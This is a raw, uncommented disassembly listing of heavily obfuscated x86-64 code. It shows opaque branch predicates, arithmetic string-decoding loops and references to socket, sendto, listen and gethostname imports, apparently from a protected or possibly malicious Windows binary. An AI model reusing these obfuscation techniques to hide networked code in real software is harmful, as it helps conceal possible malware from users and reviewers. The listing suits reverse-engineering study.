cmp r8, rax
jb 0x14008a075
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008a017
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140089fc3
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140089f8f
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140089c00
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140089f55
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140089f2c
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140089f04
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140089ed0
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140089ea7
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140089e82
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140089e57
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140089e25
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140089e11
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140089c00
lea r8, [r9 + 4]
lea r9, [r8 + 0x5a]
jmp 0x140089c00
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140089bf0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x140089b73
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0xa
add r10b, dl
jmp 0x140089b15
movabs rdx, 0x599a90d53c444b90
mov ecx, 8
jmp 0x14008a78c
movabs rdx, 0xba0f953438806f3c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140089b02
movabs rcx, 0x1a84999334bc92e8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x58
dec rbx
inc rbx
jmp 0x140089b02
movabs rdx, 0x7af99df230f8b694
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xc
jmp 0x14008a5cc
movabs rdx, 0xdb6ea2512d34da40
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008a7fa
movabs rcx, 0x3be3a6b02970fdec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140089b02
movabs rdx, 0x9c58ab0f25ad2198
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x28
add r10b, dl
jmp 0x14008a64f
movabs rdx, 0xfccdaf6e21e94544
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008a683
movabs rdx, 0x5d42b3cd1e2568f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140089b02
movabs rdx, 0x4e673eba94bbc21e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0xeb0], r10b
inc rbx
jmp 0x140089b02
movabs rdx, 0xaedc431990f7e5ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x80
jb 0x140089fb3
movabs rcx, 0xc8b02113c004e4bc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x48]
jmp 0x14008a7a1
movabs rdx, 0xf5147788d340976
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3a
add r10b, dl
cmp r8, 8
jae 0x14008a5a4
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x14008a4ca
movabs rcx, 0x8d424cc99a5e4974
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
jmp 0x140089fe7
movabs rdx, 0x6fc64bd789702d22
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x14008a5ff
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14008a3c2
movabs rdx, 0x820efaaef2d5c002
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xe
jmp 0x14008a037
movabs rdx, 0x4333ec9fed3338ac
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140089b02
movabs rdx, 0xa3a8f0fee96f5c58
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x68
add r10b, dl
jmp 0x14008a683
movabs rdx, 0x41df55de5ab8004
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
add r10b, dl
jmp 0x14008a64f
movabs rdx, 0x6492f9bce1e7a3b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140089b02
movabs rdx, 0xc507fe1bde23c75c
mov ecx, 0x3e
jmp 0x14008a7e5
movabs rcx, 0x257d027ada5feb08
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x14008a5cf
movabs rdx, 0x85f206d9d69c0eb4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140089b02
movabs rdx, 0xe6670b38d2d83260
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140089b02
movabs rdx, 0x46dc0f97cf14560c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
jmp 0x14008a79e
lea rax, [r9 + 4]
cmp r8, rax
jae 0x14008a286
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x26
jmp 0x14008a096
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008a2c9
movabs rcx, 0x1666a4354f1112e4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3c
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140089b02
inc rax
cmp r8, rax
jne 0x14008a2fe
movabs rdx, 0xb5f19fd652d4ef38
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008a683
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008a330
movabs rcx, 0x949292b95e208434
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6c
jmp 0x14008a7fa
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008a367
movabs rcx, 0xd3a889fb65a83cdc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
dec rbx
inc rbx
jmp 0x140089b02
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008a3a1
movabs rcx, 0x7333859c696c1930
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x140089b02
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008a099
movabs rdx, 0x12be813d6d2ff584
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14008a78c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008a3f3
movabs rcx, 0x2199f64ff6999c56
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x14008a7a1
inc rax
cmp r8, rax
jne 0x14008a42e
movabs rdx, 0x60afed91fe2154fe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140089b02
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008a44f
movabs rdx, 0x9fc5e4d405a90da6
mov ecx, Ordinal_60
jmp 0x14008a7e5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008a495
movabs rdx, 0x3f50e075096ce9fa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140089b02
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008a03a
movabs rdx, 0xdedbdc160d30c64e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x22
add r10b, dl
jmp 0x14008a64f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008a50d
movabs rcx, 0x2ccd486a9e2225c8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140089b02
inc rax
cmp r8, rax
jne 0x14008a542
movabs rdx, 0xcc58440ba1e6021c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008a683
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008a583
movabs rcx, 0xb6e3b4da96dbac4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140089b02
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140089fe7
movabs rdx, 0x29252572bc410868
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14008a78c
movabs rdx, 0x683b1cb4c3c8c110
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xeb0]
sub r10b, al
sub r10b, 0x70
add r10b, r11b
add r10b, dl
movabs rdx, 0x38009a8545aaaf3a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xeb0], cl
jmp 0x14008a7fa
movabs rdx, 0x7c61855c78c9d64
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xeb0]
add r10b, r11b
add r10b, dl
jmp 0x14008a64f
movabs rcx, 0x68003381c1e38fbe
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
movabs rdx, 0xd78b9626496e8b8e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xeb0], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xa75113f6cb5079b8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 8
add r11b, cl
mov byte [rbp + rbx + 0xeb0], r11b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140089b02
movabs rdx, 0xc87537e0be1fb36a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140089b02
movabs rdx, 0x28ea3c3fba5bd716
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008a7fa
movabs rcx, 0xe9d444fdb2d41e6e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
dec rbx
inc rbx
jmp 0x140089b02
movabs rdx, 0xaabe4dbbab4c65c6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6a
jmp 0x14008a79e
movabs rdx, 0x6ba85679a3c4ad1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rcx, 0x98759ee441e6d2e6
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x4a
add r11b, cl
mov byte [rbp + rbx + 0xeb0], r11b
inc r9
dec rbx
inc rbx
jmp 0x140089b02
movabs rdx, 0xed7c67f594b53bce
mov ecx, Ordinal_50
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140089b02
movabs rcx, 0x6f50797185a5ca7e
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x72
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140089b02
movabs rdx, 0xf19a5d537a60bbd2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140089b00
movabs rcx, 0x520f61b2769cdf7e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x72
jmp 0x140089af0
lea rsi, [rbp + 0x14c12e8]
jmp 0x14008a8b3
lea rsi, [rbp + 0xee0112]
jmp 0x14008a8b3
lea rsi, [rbp + 0xeb0]
lea rdx, [0x14022a200]
lea rcx, [rbp + 0x688]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x28]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006c320
mov r14, rax
mov byte [rbp + 0xed8], 0x5c
mov byte [rbp + 0xed9], 3
mov byte [rbp + 0xeda], 0x77
mov byte [rbp + 0xedb], 0x77
mov byte [rbp + 0xedc], WSACleanup
mov byte [rbp + 0xedd], 0x76
mov byte [rbp + 0xede], 0xa
mov byte [rbp + 0xedf], 0x7e
mov byte [rbp + 0xee0], 0x77
mov byte [rbp + 0xee1], 0x77
mov byte [rbp + 0xee2], 0xa2
mov byte [rbp + 0xee3], WSASetLastError
mov byte [rbp + 0xee4], 0x80
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xee5], xmm0
mov dword [rbp + 0xef5], eax
mov word [rbp + 0xef9], ax
movabs r15, 0x35a1cd3cfce6cbea
movabs r13, 0x19d9a3d0a2592d56
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rdx, 0x8274e59a105b93d2
movabs rcx, 0x4bb25f1b48feccc2
cmp rdi, 0x23
jae 0x14008b7bc
movzx ebx, byte [rbp + rdi + 0xed8]
mov r10, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x14008b7b0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008aa02
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x4e
jmp 0x14008aa30
je 0x14008b71a
inc rax
cmp r8, rax
je 0x14008b6e1
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008b6b3
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008b660
nop
cmp r9, rdi
ja 0x14008b7a4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008aa6d
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub dl, 0x66
add r11b, dl
movabs rdx, 0x8274e59a105b93d2
jmp 0x14008aab0
je 0x14008b63c
inc rax
cmp r8, rax
je 0x14008b5d8
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008b5a5
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008b508
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008b4e1
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008b109
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008b0f5
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14008b0c9
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14008b0b5
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008b08e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008b053
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008b02e
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008b007
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008afdf
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008afab
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14008aac0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008b77c
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14008b754
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008acc0
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008ac98
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008ac7e
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14008af4e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008aeec
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14008aea3
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14008ae70
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14008aac0
lea r8, [r9 + 3]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14008ae3c
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14008ae14
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14008ae00
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008adcd
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008ad92
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008ad6f
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14008ad41
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14008ad10
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008aced
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14008aac0
lea r8, [r9 + 6]
lea r9, [r8 + 0x2a]
jmp 0x14008aac0
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
jmp 0x14008aab0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x8274e59a105b93d2
jmp 0x14008aa30
movabs rcx, 0xeb1027637e5dfa4e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
movabs rcx, 0x4bb25f1b48feccc2
jmp 0x14008a9c8
movabs rcx, 0xad0e69e7e7365f50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x14008b683
movabs rdx, 0x15a9abb15538c5cc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x14008a9a2
movabs rdx, 0x7e44ed7ac33b2c48
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14008a9a2
movabs rcx, 0xe6e02f44313d92c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x14008b5fb
movabs rdx, 0x4f7b710d9f3ff940
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a9a2
movabs rcx, 0xb816b2d70d425fbc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a9a2
movabs rdx, 0x20b1f4a07b44c638
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14008b517
movabs rdx, 0x894d3669e9472cb4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008b55d
movabs rcx, 0xf1e8783357499330
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
movzx eax, byte [rbp + rdi + 0xed8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a9a2
movabs rdx, 0x776c9caaea4f9366
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0xed8], r11b
inc rdi
jmp 0x14008a9a2
movabs rcx, 0xe007de745851f9e2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
cmp r9, 6
jb 0x14008ae93
movabs rcx, 0x2911e4df1585954c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x28]
jmp 0x14008b683
movabs rdx, 0x48a3203dc654605e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 3
jae 0x14008b488
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14008b3c0
movabs rdx, 0x3f2276bd619d9624
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008aec1
movabs rdx, 0xb13e62073456c6da
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x14008b4b2
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14008b2b1
movabs rdx, 0x980a98064b6ca3a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
jmp 0x14008af03
movabs rcx, 0x41cacf6ded68c77c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
movzx eax, byte [rbp + rdi + 0xed8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a9a2
movabs rdx, 0xaa6611375b6b2df8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008b55d
movabs rdx, 0x13015300c96d9474
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x14008b52b
movabs rdx, 0x7b9c94ca376ffaf0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008b702
movabs rdx, 0xe437d693a572616c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a9a2
movabs rdx, 0x4cd3185d1374c7e8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x14008b5fb
movabs rdx, 0xb56e5a2681772e64
mov ecx, Ordinal_35
jmp 0x14008b6c2
movabs rcx, 0x1e099befef7994e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x14008a9a2
movabs rdx, 0x86a4ddb95d7bfb5c
mov ecx, 0x3e
jmp 0x14008b66f
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14008b139
movabs rcx, 0x4bb25f1b48feccc2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
jmp 0x14008af71
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008b17f
movabs rdx, 0x6b439a79f9cd97d4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xed8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a9a2
inc rax
cmp r8, rax
jne 0x14008b1b2
movabs rdx, 0x2a858b08bcb3158
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x68
add r11b, dl
jmp 0x14008b55d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008b1e2
movabs rcx, 0x9a0d16e71dc8cadc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x14008b52b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008b225
movabs rcx, 0xc8d6935441c3fde4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008a9a2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008b246
movabs rdx, 0x603b518ad3c19768
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14008b5e7
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008b27c
movabs rcx, 0xf7a00fc165bf30ec
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x74
dec rdi
inc rdi
jmp 0x14008a9a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008af71
movabs rdx, 0x26698c2e89ba63f4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008b683
lea rax, [r9 + 1]
